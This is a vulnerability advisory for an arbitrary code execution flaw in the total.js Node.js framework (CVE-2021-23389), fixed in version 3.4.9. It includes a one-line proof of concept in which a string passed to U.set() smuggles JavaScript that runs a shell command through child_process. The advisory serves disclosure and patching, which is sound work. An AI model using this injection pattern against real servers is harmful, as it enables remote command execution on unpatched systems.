Arbitrary Code Execution Affecting total.js package, versions <3.4.9
Snyk CVSS
Attack Complexity
Low
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.58% (78th
percentile)
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Test your applications- Snyk ID SNYK-JS-TOTALJS-1088607
- published 7 Jul 2021
- disclosed 24 Mar 2021
- credit Alessio Della Libera (@d3lla), Agustin Gianni
Introduced: 24 Mar 2021
CVE-2021-23389 Open this link in a new tabHow to fix?
Upgrade total.js to version 3.4.9 or higher.
Overview
total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.
Affected versions of this package are vulnerable to Arbitrary Code Execution via the U.set() and U.get() functions.
PoC by Alessio Della Libera
const total = require('total.js');
U.set({}, 'a;let {mainModule}=process; let {require}=mainModule; let {exec}=require("child_process"); exec("touch HACKED")//');
NOTE: This vulnerability has also been identified as: CVE-2021-32831